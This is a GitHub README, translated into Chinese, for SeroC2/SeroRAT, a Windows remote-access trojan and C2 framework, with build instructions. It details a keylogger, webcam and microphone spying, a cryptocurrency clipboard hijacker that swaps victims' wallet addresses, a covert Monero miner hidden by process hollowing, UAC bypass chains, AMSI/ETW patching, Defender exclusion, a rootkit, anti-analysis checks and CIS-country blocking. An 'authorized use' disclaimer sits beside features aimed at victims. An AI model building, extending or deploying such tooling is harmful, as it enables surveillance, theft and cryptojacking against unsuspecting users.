SeroSkiid/SeroC2

GitHub: SeroSkiid/SeroC2

一款面向授权红队演练的模块化 C2/RAT 框架,提供远程桌面、文件管理、持久化、反分析等四十余项后渗透功能。

Stars: 154 | Forks: 39

# SeroRAT ![版本](https://img.shields.io/badge/version-1.7.0-orange.svg) ![许可证](https://img.shields.io/badge/license-Proprietary-red.svg) ![平台](https://img.shields.io/badge/platform-Windows-lightgrey.svg) ![服务端 .NET](https://img.shields.io/badge/server-.NET%2010-purple.svg) ![客户端 .NET](https://img.shields.io/badge/stub-NativeAOT%2010-blueviolet.svg) ![架构](https://img.shields.io/badge/arch-x64-green.svg) **一个用于授权红队交战和安全研究的命令与控制(C2)框架** SeroRAT 是一个用 C# 编写的模块化 C2 框架,具有 WPF 服务端和强化的 NativeAOT 客户端 stub。它结合了多向量持久化、高级反分析保护、多态加壳器(闭源)以及加密的 TLS 通信。功能包括 **DevExpress 主题与图标**(Sero Dark 模式、Seven Classic、VS2010、VS2017、Office2010/2013/2016/2019、MetropolisDark、DXStyle、HighContrast 等),**实时语言系统**(10 种语言) ## 📸 截图 | 仪表盘 | 构建器 | |-----------|---------| | ![仪表盘](https://static.pigsec.cn/wp-content/uploads/repos/cas/3f/3fc0eb053e064cdd512df296aa80e24b78847ab101310cdffc54a3922d9c9c55.png) | ![构建器](https://static.pigsec.cn/wp-content/uploads/repos/cas/48/4835db40df5ba4b9f2cd4d3de98499eb6e9795307a8baac1ee9d028b51929c39.png) | ## ⚡ 快速开始 ``` git clone https://github.com/SeroSkiid/SeroC2 cd SeroC2 setup.bat :: installs .NET SDK + VS Build Tools (run as Admin) build.bat :: release (dist folder) ( need devexpress license or patcher to compile for the GUI ) ``` 你也可以在 **Visual Studio 2026** 中打开 `Sero.sln`,构建 (`F6`),然后启动 `SeroServer.exe`。 从 **Builder** 选项卡中配置并构建客户端 stub。 ## ✨ 功能 | 功能 | 状态 | 备注 | |---------|--------|-------| | 远程桌面 | ✅ | DXGI + GDI 捕获,64×64 块差异对比,输入注入,剪贴板同步 | | 远程摄像头 | ✅ | DirectShow SampleGrabber + VFW 回退 | | HVNC | ✅ | 隐藏虚拟桌面 — 隔离会话,全面浏览器支持 | | 远程 Shell | ✅ | 交互式 cmd/PowerShell | | 文件管理器 | ✅ | 导航、下载、上传、重命名、删除、哈希、执行、壁纸、7-zip | | TCP 管理器 | ✅ | 按 PID 列出所有 TCP 连接,通过 SetTcpEntry 强制关闭,阻止 IP / 阻止端口工具栏按钮 | | 启动项管理器 | ✅ | 列出/删除注册表 Run、启动文件夹、计划任务、WMI 事件订阅 — 每个条目包含 Authenticode 签名 + 发布者 | | 麦克风 | ✅ | 实时音频捕获,波形可视化,在服务端实时监听,保存 WAV | | 趣味 | ✅ | CD-ROM、任务栏、屏幕、鼠标按键互换、音量、TTS、疯狂鼠标、屏幕旋转… | | 键盘记录器 | ✅ | 低级 WH_KEYBOARD_LL 钩子,离线磁盘日志(按日期),文件浏览 UI,保存 .txt | | 加密货币剪贴板劫持 | ✅ | 监控剪贴板中的 BTC/ETH/LTC/TRX/SOL/XMR/XRP/DASH/BCH/BNB,静默替换地址 | | 性能监视器 | ✅ | 实时 CPU/RAM/网络流式传输(1 秒),迷你图,彩色进度条 | | 进程管理器 | ✅ | 实时列表,CPU/RAM 热力图,挂起/恢复/终止(右键点击),原生图标,搜索过滤 | | 服务管理器 | ✅ | 列出、启动/停止/重启/禁用/删除 Windows 服务 *(需要管理员权限)* | | 窗口管理器 | ✅ | 枚举所有窗口,按句柄执行显示/隐藏/聚焦/关闭/终止 | | 注册表编辑器 | ✅ | 浏览/读取/写入/删除键和值 *(HKLM 需要管理员权限)*,管理员警告弹窗 | | 已安装程序 | ✅ | 列出所有已安装的应用程序,触发静默卸载 | | 设备管理器 | ✅ | 通过 SetupAPI 枚举硬件设备,卸载设备 | | TCP 连接 | ✅ | 列出连接,关闭会话,通过 Windows 防火墙阻止进程/端口 | | 绑定器 | ✅ | 将多个文件捆绑到单个启动器中;按文件 RunOnce(将路径写入 HKCU\RunOnce);自定义图标注入;在构建时编译 .NET Framework 4.8 加载器 | | TikTok 机器人 | ✅ | 多客户端面板:CDP 会话检测(注册前检查 Chrome cookies),通过 Google OAuth 自动注册(Chrome 隐藏),账户清单,跨账户轮换的评论广播 | | SOCKS5 代理 | ✅ | 反向 SOCKS5 — 通过远程机器隧道传输流量 | | 文件执行 | ✅ | 远程执行任意文件 | | RunPE | ✅ | 内存中的 PE 注入与 PPID 欺骗 *(仅限构建器)* | | UAC Bypass | ✅ | computerdefaults → fodhelper → sdclt → mmc 回退链 *(闭源)* | | UAC 提权 | ✅ | UAC 循环/单次提示 | | 更新客户端 | ✅ | 无缝的内存中 stub 替换 | | AutoTask 插件 | ✅ | 按需编译和执行的 C++ DLL 插件 | | Rootkit (hook DLL) | ✅ | 反射式 DLL:`NtQuerySystemInformation` / `NtQueryDirectoryFile` 钩子 | | 多态加壳器 | ✅ | 每次构建使用 AES-256-CBC、LZNT1、AMSI+ETW 旁路 *(闭源)* | | XMR 矿工 | ✅ | NativeAOT 矿工 stub,SFC64+Deflate 打包,内存中 OpenSSL 检测,通过 CLI 参数使用原生 TLS,svchost 进程镂空,PPID 欺骗,空闲节流,BotKiller,看门狗 | | 多客户端 | ✅ | 标签,每会话日志,HWID 去重,Geo-IP | | Telegram 通知 | ✅ | 首次执行通知,HWID 去重,连接计数器 | | 多主题 UI | ✅ | 15+ DevExpress 主题;实时选择器;仪表盘、卡片和图标全部自适应 | ## 📖 目录 - [远程桌面](#️-remote-desktop) - [远程摄像头](#-remote-webcam) - [HVNC](#-hvnc) - [文件管理器](#-file-manager) - [键盘记录器](#️-keylogger) - [加密货币剪贴板劫持](#-crypto-clipper) - [进程管理器](#️-process-manager) - [RunPE / 进程镂空](#-runpe--process-hollowing) - [网络架构](#-network-architecture) - [编译指南](#️-how-to-compile) - [项目结构](#-project-structure) - [路线图](#️-roadmap) - [法律声明](#legal-notice) ## 🖥️ 远程桌面 ### 用法 1. 右键点击客户端 → **远程桌面** 2. 调整 **质量** (1–100) 和 **分辨率** (%) 滑块 3. 点击 **开始** — 实时画面将出现在查看器中 4. 直接交互:点击、输入、滚动、剪贴板同步 5. 点击 **停止** 结束会话 ### 工作原理 **主要 — DXGI 桌面复制** (`IDXGIOutput1::DuplicateOutput`): - 通过 DWM 合成器进行 GPU 直接捕获 — 无需 CPU 拷贝 - 阻塞在 `AcquireNextFrame(timeout=16ms)` 并对齐到 VBLANK — 自然的 60 fps 节奏 **回退 — GDI BitBlt** (`GetDC` + `BitBlt`): - 适用于 RDP 会话、无头机器、非 BGRA GPU 格式 - 通过 `EnumDisplayMonitors` 支持多显示器 **增量压缩 — 64×64 块差异对比:** - 仅对更改的块进行编码和传输 - 低于 15% 的变化 → 质量提升至 95 以获得清晰的文本 - 超过阈值 → 发送完整帧 通过 `SendInput` 进行 **输入注入**:鼠标 + 键盘(虚拟键码 + 扩展键标志) ## 📷 远程摄像头 ### 用法 1. 右键点击客户端 → **远程摄像头** 2. 从下拉菜单中选择一个设备 3. 调整 **质量** 和 **FPS** → 点击 **开始** ### 工作原理 **主要 — DirectShow** (COM,纯 P/Invoke): - 设备枚举:`ICreateDevEnum` + `CLSID_VideoInputDeviceCat` - 捕获图:`ICaptureGraphBuilder2` + `ISampleGrabber`,目标为 RGB24 或 YUY2 - JPEG 编码:原始像素 → GDI+ `GdipSaveImageToStream` **回退 — VFW** (`avicap32.dll`): - `capCreateCaptureWindow` + `WM_CAP_*` 消息 - `[UnmanagedCallersOnly]` 帧回调 — 每帧无需分配委托 ## 👁️ HVNC 隐藏虚拟桌面 — 创建一个对用户不可见的隔离 Windows 会话。 ### 用法 1. 右键点击客户端 → **HVNC** 2. 使用浏览器启动按钮(资源管理器、Chrome、Firefox、Edge、Brave、Opera、Opera GX、Telegram、Discord)进行即时隐蔽会话 3. 在隐藏桌面上进行完整的鼠标 + 键盘输入注入 ## 📁 文件管理器 完整的远程文件系统浏览器,提供按扩展名显示图标的 UI。 ### 功能 - **导航** — 浏览驱动器、目录,双击进入 - **跳转** 快捷方式 — 桌面、用户文件夹、临时目录、AppData、启动 - **下载 / 上传** — 单个文件上传或下载 - **执行** — 正常、隐藏或以管理员身份 - **重命名 / 删除 / 新建文件夹** - **SHA-256 哈希** — 在客户端计算,复制到剪贴板 - **显示 / 隐藏** — 切换隐藏文件属性 - **设置为壁纸** — 将任何图像设置为桌面背景 - **播放音乐** — 使用默认播放器打开音频文件 - **7-Zip 压缩** — 通过 PowerShell Compress-Archive 进行压缩 - **从 URL 下载** — 直接将互联网文件拉取到客户端 ## 🔌 TCP 管理器 列出所有活动的 TCP 连接(PID、进程名、本地/远程地址、状态)。通过 `SetTcpEntry(DELETE_TCB)` 强制关闭连接。**阻止 IP** 和 **阻止端口** 工具栏按钮可为选定的连接创建 Windows 防火墙规则(入站 + 出站)。 ## 🚀 启动项管理器 枚举并删除以下位置的启动项: - 注册表 `HKCU\Run` / `HKLM\Run` / `RunOnce` - 用户和通用启动文件夹 (`.lnk`) - 计划任务(通过 `schtasks /query`) - WMI 事件订阅(`__EventFilter`、`CommandLineEventConsumer`、`__FilterToConsumerBinding`) 每个条目显示通过 `WinVerifyTrust` 检查的 **Authenticode 验证状态**(已验证 / 未验证)及发布者名称。未验证的条目以红色高亮显示(类似于 Autoruns)。 ## 🎙️ 麦克风 使用 WaveIn (WinMM) 进行实时音频捕获: - 设备枚举与选择 - 实时波形可视化(条形图,50 毫秒刷新) - 缓冲的 PCM 流(16 位,16 kHz,单声道) - **保存为 WAV** — 将正确的 WAV 标头写入磁盘 ## 🎮 趣味 交互式恶作剧 / 控制面板: | 部分 | 操作 | |---------|---------| | CD-ROM | 弹出 / 关闭 | | 任务栏 | 显示 / 隐藏 | | 资源管理器 | 终止 / 启动 | | 屏幕 | 打开 / 关闭 | | 时钟 / 托盘 | 显示 / 隐藏 | | 桌面图标 | 显示 / 隐藏 | | 鼠标 | 正常 / 交换按键 | | 音量 | +5 / −5 / 静音 | | 屏幕旋转 | 0° / 90° / 180° / 270° | | 疯狂鼠标 | 随机移动鼠标 N 秒 | | 文字转语音 | 通过 `System.Speech` 朗读任意文本 | | 消框 | 在受害者屏幕上显示弹出对话框 | | 打开 URL | 在默认浏览器中打开任何 URL | ## ⌨️ 键盘记录器 使用 `WH_KEYBOARD_LL` 的低级全局键盘钩子 — 对用户不可见,捕获系统范围内的所有击键。 ### 功能 - **窗口标题标头** — 每次上下文切换都会记录应用名称和 UTC 时间戳 - **自动同步** — 捕获时服务端每 10 秒拉取一次缓冲的日志 - **手动获取 / 清除** — 按需请求日志或清除客户端上的缓冲区 - **保存为 TXT** — 从服务端 UI 导出完整日志 ### 工作原理 stub 通过 `SetWindowsHookEx(WH_KEYBOARD_LL)` 安装低级键盘钩子。钩子回调(`[UnmanagedCallersOnly]`,兼容 NativeAOT)使用带有当前键盘布局的 `ToUnicode` 将 VK 代码转换为字符(处理国际键盘、Shift、CapsLock)。日志在内存中缓冲,上限为 512 KB;服务端将其取出并显示在可滚动的等宽文本区域中。 ## ₿ 加密货币剪贴板劫持 静默监控剪贴板,并将检测到的加密货币地址替换为您自己的地址。 ### 支持的币种 BTC · ETH/BNB · LTC · TRX · SOL · XMR · XRP · DASH · BCH ### 功能 - **按币种设置地址** — 为每种货币独立配置替换地址 - **检测日志** — 每次替换都会记录到服务端 UI 中,包含时间戳、币种类型和截断的原始地址 - **实时计数器** — 服务端窗口中显示总替换次数 - **启用 / 禁用** — 无需重新连接即可切换;状态保持不变,直到更改 ### 工作原理 stub 使用原生 Win32 `OpenClipboard` / `GetClipboardData` / `SetClipboardData` 每隔约 450 毫秒轮询一次剪贴板(不依赖 Windows 窗体,完全兼容 NativeAOT)。检测到的地址与正则表达式模式进行匹配并被原子性替换。实时通知通过 `ClipperDetected` 数据包发送到服务端,以便操作员可以立即看到每一次替换。 ## ⚙️ 进程管理器 实时查看目标机器上所有正在运行的进程及原生 Windows Shell 图标。 ### 功能 - **进程列表** — 名称、PID、工作集内存、主窗口标题 - **原生图标** — 通过 `SHGetFileInfo` 从进程 EXE 中提取的 Shell 图标 - **搜索** — 实时按名称或窗口标题过滤 - **挂起 / 恢复 / 终止** — 右键上下文菜单 - **刷新** — 手动刷新按钮 ## 🪄 RunPE / 进程镂空 完整的内存中 PE 注入流水线,兼容 NativeAOT。 **流水线:** 1. 针对可配置的宿主(`svchost.exe`、`dllhost.exe` 等)调用 `CreateProcess(..., CREATE_SUSPENDED | DETACHED_PROCESS)` 2. **PPID 欺骗** — `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)`:注入的进程显示为 `explorer.exe`(用户)或 `winlogon.exe`(管理员)的子进程 3. `NtUnmapViewOfSection` → `VirtualAllocEx` + `WriteProcessMemory` + 基址重定位 4. IAT 修复 — 遍历导入目录,通过 `GetProcAddress` 解析每个 DLL/函数 5. `SetThreadContext` 设置 `RCX = EntryPoint + ImageBase` → `ResumeThread` ## 🔌 AutoTask 插件 (C++ DLL) 按需编译并在进程内交付的原生 DLL 插件。唯一的磁盘工件是临时 DLL,执行后会被删除。按源哈希进行缓存。 | 插件 | 动作 | |--------|--------| | **排除 C:\\** | 通过 WMI `MSFT_MpPreference` 将 `C:\` 添加到 Defender 排除项(窃取 SYSTEM 令牌) | | **阻止 AV DNS** | 在 hosts 文件中将约 80 个 AV 更新/遥测域名重定向到 `127.0.0.1`。阻止 DoT(端口 853)。刷新 DNS。 | | **阻止重置** | 修补 `ReAgent.xml` 以禁用 WRE。阻止 Etcher/Rufus/USB 工具。 | | **BotKiller** | 终止来自 `%TEMP%` 的进程、伪装检测、未签名的随机名称可执行文件。清理启动项。 | | **禁用 UAC** | 通过 PowerShell 设置 `EnableLUA=0`、`ConsentPromptBehaviorAdmin=0`、`ConsentPromptBehaviorUser=0`、`PromptOnSecureDesktop=0`(需要管理员权限;下次登录时生效)。 | ## 🔒 持久化 stub 将自身复制到 `%AppData%\Roaming\\`。 | 方法 | 可见性 | 实现 | |--------|-----------|----------------| | 注册表 `HKCU\Run` | 可见 | `NtSetValueKey`(绕过行为钩子) | | 启动文件夹 `.lnk` | 可见 | 原生二进制 Shell Link 写入器(无 COM) | | 计划任务 | 在启动选项卡中隐藏 | `schtasks /Create` + `ONLOGON /IT` | | 注册表 `HKLM\Run` | 仅限管理员 | `NtSetValueKey` | **看门狗:** 对已安装的 exe + 备份进行文件锁定,`FileSystemWatcher` 即时恢复,5 秒轮询回退,隔离的、经过 PPID 欺骗的持久化工作进程(打破 Defender Persistence.A!ml 关联)。 ## 💀 防杀 - **DACL** — 针对所有人 `ACE DENY PROCESS_TERMINATE + PROCESS_SUSPEND_RESUME` — 阻止任务管理器和所有没有 `SeDebugPrivilege` 的工具 - 在 `dllhost.exe` / `SearchProtocolHost.exe` / `SearchFilterHost.exe` 中有 **4 个守护进程**,使用 PPID 欺骗,错开 800 毫秒启动 ## 🔐 加壳器 构建器生成一个 **多态原生 C++ 加载器**,用于加密并在内存中启动 stub。 **UAC Bypass:** SilentCleanup windir 劫持 → 计划任务 → CMSTP INF → EventVwr → WsReset → Sdclt → ComputerDefaults → Fodhelper — 优先尝试非注册表方法 **SYSTEM 提权:** SeDebugPrivilege → `winlogon.exe` 令牌复制 → `CreateProcessWithTokenW` **加密流水线:** 1. 通过 `ntdll!RtlCompressBuffer` 进行 **LZNT1** 压缩 2. **AES-256-CBC**,使用作为 RCDATA 资源嵌入的随机每次构建密钥/IV 3. **SFC64 流密码** — 资源有效载荷编码(1:1 比例,每次构建 32 字节随机种子) **多态性:** 每次构建的随机 AES 密钥分散在 3 个二进制位置,随机的 8 字节魔术签名,唯一的 BuildId GUID,随机的垃圾函数名称和打乱的调用顺序。 **AMSI + ETW 旁路:** 首先通过 `NtWriteVirtualMemory` 修补 ETW(`EtwEventWrite`),然后是 AMSI(`AmsiScanBuffer`);4 字节的 `push 0; pop eax; ret` 补丁,每次构建进行 XOR 混淆。 ## 🛡️ 反分析套件 | 保护 | 技术 | |-----------|-----------| | 反调试 | `IsDebuggerPresent`、`CheckRemoteDebuggerPresent`、`NtQueryInformationProcess`、`NtSetInformationThread(ThreadHideFromDebugger)`、计时检查 | | 反虚拟机 | BIOS 注册表关键字 (VMware/VirtualBox)、VMware Tools 密钥、VirtualBox Guest Additions 密钥 | | 反检测 | 进程黑名单 (x64dbg、IDA、Wireshark、ProcessHacker、Process Explorer、dnSpy、ILSpy…),可疑用户名 | | 反沙箱 | 评分:运行时间 < 3 分钟,睡眠跳过检测,临时文件 < 3,RAM < 1 GB,已安装程序 < 8,通用 VM 工件(制造商/型号/BIOS GUID) | | CIS 国家/地区屏蔽 | **独立复选框** — 通过 `BlockCis` 切换屏蔽 CIS 国家/地区 (RU/BY/KZ/AM/AZ/KG/TJ/TM/UZ/MD) | ## 🌐 网络架构 - **TLS 1.2+** 及 SHA-256 证书锁定 - 在每次连接时验证 **共享密钥身份验证** - **3 秒心跳** + RTT 测量(ping/pong) - **自动重连**,具有可配置的延迟(默认 5 秒),多主机轮询 **数据包格式:** 4 字节小端长度前缀 + UTF-8 JSON 正文。每个数据包最大 100 MB,60 秒读取超时。 ## ⛏️ XMR 矿工 独立的 Monero 挖矿模块,与主 RAT stub 完全分离。 **功能:** - 在构建时嵌入 xmrig — SFC64 流密码 + Deflate 压缩(每次构建使用随机种子) - **原生 TLS** — 在运行时扫描内存中的 xmrieg 以查找 OpenSSL 标记;如果找到,直接在命令行传递 `--tls`(无需代理,无需配置文件);对于没有 OpenSSL 的构建,回退到回环 TLS 终止代理 - **CLI 参数启动** — 所有矿池参数(`-o`、`-u`、`-p`、`-a`、`--tls`、`--randomx-no-rdmsr`)都在命令行上传递;矿池连接不依赖 `config.json` - **进程镂空** — xmrig 通过 NtCreateSection/NtMapViewOfSection 在合法的 `svchost.exe` 内运行;挖矿期间没有 xmrig 文件触及磁盘 - **PPID 欺骗** — 镂空进程显示为 `explorer.exe` 的子进程 - **空闲节流** — 空闲时全速使用 CPU,当用户在机器上时降至活动限制 - **隐蔽** — 如果检测到 Process Explorer / 任务管理器 / Process Hacker,则终止镂空的 xmrig;当它们关闭时干净地重启 - **看门狗** — 进程内文件完整性看门狗(FileSystemWatcher + 轮询),备份副本,命名事件干净退出;持久化恢复仅在 `EnableStartup=true` 时运行 - **SafeBoot 持久化** — 在 SafeBoot 注册表项中注册的可选服务 - **统计服务器** — 可选的轻量级 HTTP 仪表盘(受 token 保护) - **BotKiller** — 在启动时和每 30 秒终止竞争矿工 **设置:** 在构建之前将 `xmrig.exe`(包含 OpenSSL)放入 `xmrig-release/`。 ## 🛠️ 编译指南 **前提条件:** - .NET 10 SDK - Visual Studio 2022 并带有 **使用 C++ 的桌面开发** 工作负载 - Windows SDK 10.0.22621+ - **DevExpress 25.2** WPF 组件 — 编译 **必需**。该项目贯穿使用 `dx:ThemedWindow`、`dx:DXImage` 和 DevExpress 主题引擎。从 [devexpress.com](https://www.devexpress.com/) 安装。该项目引用位于 `C:\Program Files\DevExpress 25.2\Components\Bin\NetCore\` 的 DLL。如果没有安装 DevExpress,该项目将无法编译。 ### 步骤 1 — 安装前提条件 ``` setup.bat ``` 以管理员身份运行 — 通过 winget 安装一切(.NET SDK,带有 MSVC + Windows SDK 的 VS Build Tools 2022)。 ### 步骤 2 — 构建服务端 ``` build.bat ``` 生成 `dist\SeroServer.exe`(自包含,目标上不需要 .NET 运行时)。 或者在 Visual Studio 2022 中打开 `Sero.sln` 并按 `F6`。 ### 步骤 3 — 构建客户端 stub 1. 启动 `SeroServer.exe` 2. 转到 **Builder** 选项卡 3. 配置主机、身份验证密钥、持久化、镂空目标 4. 点击 **Build** — stub 将使用 NativeAOT 进行编译,并可选择加壳 ### 步骤 4 — 构建 XMR 矿工(可选) 1. 将 `xmrig.exe`(支持 OpenSSL)放入 `xmrig-release/` 2. 在服务端,转到 **Builder → XMR** 选项卡 3. 填写钱包、矿池CPU 限制 4. 点击 **Build Miner** **可选 — UPX 压缩 (8 MB → 2.4 MB):** 下载 [upx.exe](https://github.com/upx/upx/releases) (Windows x64) 并将其放置在: - 您的 `PATH` 中,**或者** - `SeroServer.exe` 旁边的 `tools/` 文件夹中 然后在点击 Build 之前在 Builder 中勾选 **UPX compression**。`tools/` 文件夹已被 gitignore — 二进制文件保留在本地。 **故障排除:** - 缺少 `cl.exe` (MSVC) → 运行 `setup.bat` - 找不到 `vswhere.exe` → 将 `C:\Program Files (x86)\Microsoft Visual Studio\Installer` 添加到 PATH - NativeAOT 需要 `win-x64` RID — 不要混入 wasm 工作负载 - 找不到 UPX → 见上文 ## 📁 项目结构 ``` SeroC2/ ├── server/ # C2 Server (WPF · .NET 10) │ ├── UI/ # Windows │ │ ├── ServerWindow.* # Main dashboard + builder │ │ ├── RemoteDesktopWindow.* # RDP viewer │ │ ├── HvncWindow.* # HVNC viewer │ │ ├── WebcamWindow.* # Webcam viewer │ │ ├── RemoteShellWindow.* # Interactive shell │ │ ├── FileManagerWindow.* # Remote file browser │ │ ├── TcpManagerWindow.* # TCP connection manager │ │ ├── StartupManagerWindow.* # Startup entries manager │ │ ├── MicrophoneWindow.* # Microphone capture + waveform + live listen │ │ ├── FunWindow.* # Fun / prank controls │ │ ├── KeyloggerWindow.* # Keylogger viewer │ │ ├── CryptoClipperWindow.* # Crypto clipper config + detection log │ │ └── ClientLogWindow.* # Per-client activity log │ ├── Builder/ # Build pipeline (config gen, NativeAOT, crypter bridge) │ ├── Net/ # TLS server + certificate + Discord RPC │ ├── Data/ # JSON datastore, client records, autotask queue │ ├── Protocol/ # Packet protocol + all data classes │ └── SeroServer.csproj │ ├── stub/ # Client stub (.NET 10 · NativeAOT) │ ├── Program.cs # Entry point + protection init │ ├── TlsClient.cs # TLS client + full command dispatch │ ├── Protection.cs # Anti-analysis + guardian watchdog + Defender exclusion (registry P/Invoke) │ ├── Persistence.cs # Registry + Startup + Task + file watchdog │ ├── TelegramNotifier.cs # First-exec Telegram notification │ ├── RemoteDesktopFeature.cs # DXGI + GDI BitBlt, 64×64 block diff │ ├── DxgiCapture.cs # DXGI Desktop Duplication │ ├── WebcamFeature.cs # DirectShow SampleGrabber │ ├── WebcamDShow.cs # VFW avicap32 fallback │ ├── HvncFeature.cs # Hidden virtual desktop │ ├── FileManagerFeature.cs # Remote file system operations │ ├── TcpManagerFeature.cs # TCP table + force-close │ ├── StartupManagerFeature.cs # Startup enumeration + deletion │ ├── MicrophoneFeature.cs # WaveIn PCM capture │ ├── FunFeature.cs # Fun commands (TTS, msgbox, screen, etc.) │ ├── KeyloggerFeature.cs # WH_KEYBOARD_LL hook, offline disk logging (by date) │ ├── CryptoClipperFeature.cs # Clipboard monitoring + crypto address swap │ ├── ProcessManagerFeature.cs # Process enumeration + kill │ ├── TikTokFeature.cs # TikTok comment API (video + livestream) │ ├── TikTokCdpFeature.cs # Chrome DevTools Protocol auto-signup (no HVNC, minimal TCP WS) │ ├── Socks5Feature.cs # Reverse SOCKS5 relay │ ├── ProcessHollowing.cs # RunPE + PPID spoofing │ ├── Rootkit.cs # Reflective hook DLL injection │ ├── Config.cs # ⚠️ AUTO-GENERATED by builder (no secrets in repo) │ └── SeroStub.csproj │ ├── miner-stub/ # XMR miner stub (.NET 10 · NativeAOT) │ ├── Program.cs # Miner main loop + TLS proxy │ ├── MinerConfig.cs # ⚠️ AUTO-GENERATED by builder (no secrets in repo) │ └── MinerStub.csproj │ ├── miner-uninstaller/ # Silent miner removal utility ├── stats-server/ # Lightweight HTTP stats dashboard │ ├── hook/ # User-mode rootkit (Microsoft Detours) │ └── hook/ │ ├── dllmain.cpp # NtQuerySystemInformation, NtQueryDirectoryFile hooks │ └── ReflectiveDllMain.cpp # Reflective PE loader (PEB walk, no imports) │ ├── setup.bat # Prerequisite installer (run as Admin) ├── setup-prerequisites.ps1 # winget automation (.NET SDK + VS Build Tools) ├── build.bat # Quick build launcher ├── build.ps1 # Self-contained server publish to dist/ ├── start_stats.bat # Launch stats server (fill TOKEN before use) └── Sero.sln ``` ## 🗺️ 路线图 ### ✅ 已完成 - [x] 远程桌面 — DXGI + GDI,64×64 块差异对比,多显示器 - [x] 远程摄像头 — DirectShow SampleGrabber + VFW 回退 - [x] HVNC — 隐藏虚拟桌面,浏览器启动器(Chrome、Edge、Firefox、Brave、Opera 等) - [x] 远程 Shell — 交互式 cmd / PowerShell - [x] 文件管理器 — 浏览、下载、上传、执行、哈希、壁纸、7-zip - [x] TCP 管理器 — 列出连接,通过 SetTcpEntry 强制关闭 - [x] 启动项管理器 — 注册表 Run / RunOnce、启动文件夹、计划任务、WMI 事件订阅,Authenticode 签名 + 发布者(未签名条目以红色高亮显示) - [x] 麦克风 — WaveIn 捕获,服务端实时播放,保存 WAV - [x] 趣味面板 — CD-ROM、任务栏、屏幕、TTS、疯狂鼠标、屏幕旋转… - [x] XMR 矿工 — NativeAOT,进程镂空,空闲节流,OpenSSL TLS - [x] Telegram 通知 — 首次执行,HWID 去重,全局受害者计数器 - [x] AutoTask 插件 — 按需编译的原生 C++ DLL,按哈希缓存 - [x] 多主机 + 自动重连 — 轮询,可配置的延迟 - [x] 键盘记录器 — WH_KEYBOARD_LL,窗口标题标头,**按日期离线磁盘记录**,文件浏览 UI,下载/删除日志文件 - [x] 加密货币剪贴板劫持 — BTC / ETH / BNB / LTC / TRX / SOL / XMR / XRP / DASH / BCH,全局服务端选项卡,连接时自动推送 - [x] 进程管理器 — 实时列表,CPU/RAM 热力图(蓝→橙→红),通过右键挂起/恢复/终止,原生图标,搜索过滤器;移除了实时按钮(按需刷新) - [x] 服务管理器 — 通过 sc.exe query 列出所有服务,通过右键启动/停止/重启/禁用/删除 *(写入操作需要管理员权限)* - [x] 窗口管理器 — EnumWindows P/Invoke,按 HWND 显示/隐藏/聚焦/恢复/最小化/最大化/关闭/终止,右键操作 - [x] 注册表编辑器 — 浏览子键,读取/写入/删除值和键,当客户端未提权时弹出管理员警告 *(HKLM 写入需要管理员)* - [x] 已安装程序 — HKLM+HKCU 卸载注册表枚举,静默触发 UninstallString,右键操作 - [x] 设备管理器 — SetupAPI 枚举(无 WMI),按实例 ID 卸载设备,右键操作 - [x] TCP 连接 — 工具栏阻止 IP / 阻止端口按钮 (netsh advfirewall),通过 SetTcpEntry 强制关闭,右键关闭/终止 - [x] 趣味面板切换反馈 — 显示/隐藏按钮对高亮显示活动状态(白色 + 蓝色左侧重点 = 活动,严重变暗 = 非活动伙伴);屏幕旋转显示当前角度 - [x] 离线客户端 RAM 列 — 离线客户端网格中显示 LastRamDisplay - [x] 所有功能窗口 — 全屏(最大化/恢复)按钮;最大化时阻止拖动 - [x] CPU/RAM 遥测 — 每 ~15 秒采样 GetSystemTimes + GlobalMemoryStatusEx,作为列显示在客户端列表中并带有颜色编码的画笔 - [x] 反向 SOCKS5 代理 — 通过远程机器传输流量,本地 SOCKS5 侦听器 - [x] TikTok 机器人 — 多客户端面板:CDP 会话检测(导航到 tiktok.com 并通过 `Network.getCookies` 读取 Chrome cookies — 如果会话存在则跳过注册),通过 Google OAuth 进行 CDP 自动注册(Chrome 隐藏,无 HVNC),账户清单,在所有账户之间轮换的评论广播;cookies 自动从注册流向评论面板,使用现有会话对视频和直播发表评论 - [x] stub 大小 — **8.00 MB** NativeAOT / 使用 UPX `--best --lzma` 后 **2.36 MB**(包含所有功能,如键盘记录器、加密货币剪贴板劫持、Telegram 通知) - [x] 多主题 UI — 15+ DevExpress 主题(Sero Dark、DevExpress Style/Dark、Office 2019 系列、VS2010/2017、Seven Classic、WXI、WindowsXP、TheBezier 等);带有每个主题颜色预览徽章的实时主题选择器;仪表盘卡片、图表背景和进度条动态适应活动主题;所有图标使用 `dx:DXImage` SVG 适应每个主题 - [x] 多态加壳器 — AES-256-CBC、LZNT1、AMSI+ETW 旁路 *(闭源)* - [x] UAC Bypass 链 — computerdefaults → fodhelper → sdclt → mmc *(闭源)* - [x] Rootkit — 反射 DLL,NtQuerySystemInformation / NtQueryDirectoryFile 钩子 ## 👤 贡献者 - **SeroSkiid** — 首席开发者 - **GiggleHacks** — 贡献者(UI 改进、摄像头增强、性能修复、两级写入流水线) - **Hydra48** — 原始 RunPE C++ 实现 ([process-hollowing-24h2](https://github.com/hydra48/process-hollowing-24h2)),由 SeroSkiid 转换为 C#/NativeAOT ## ⚖️ 法律声明 **本框架仅出于教育目的和授权的安全测试提供。** **允许:** 在具有书面客户授权的红队交战中使用 · 在正式合同下的渗透测试 · 学术安全研究 · 对内部环境的防御性分析 **禁止:** 未经系统所有者明确同意部署 · 数据泄露 · 网络攻击或服务中断 · 任何非法或恶意活动 用户全权负责遵守其司法管辖区的适用法律。开发者不对滥用负责。 ## 📜 许可证 SeroC2 采用 **自定义专有许可证** 授权 — 完整条款请见 [LICENSE](LICENSE)。 **摘要:** - ✅ 个人使用、安全研究、CTF、授权渗透测试 - ✅ 查看和复刻源代码 - ❌ 未经书面许可的商业转售或再许可 - ❌ 闭源再分发 - ❌ 删除或替换作者署名 (SeroSkiid) 商业授权请联系:[github.com/SeroSkiid](https://github.com/SeroSkiid) **由 SeroSkiid 开发**
标签:C2框架, IP 地址批量处理, Linux, PE 加载器, 安全学习资源, 底层编程, 知识库安全, 网络信息收集, 远程访问木马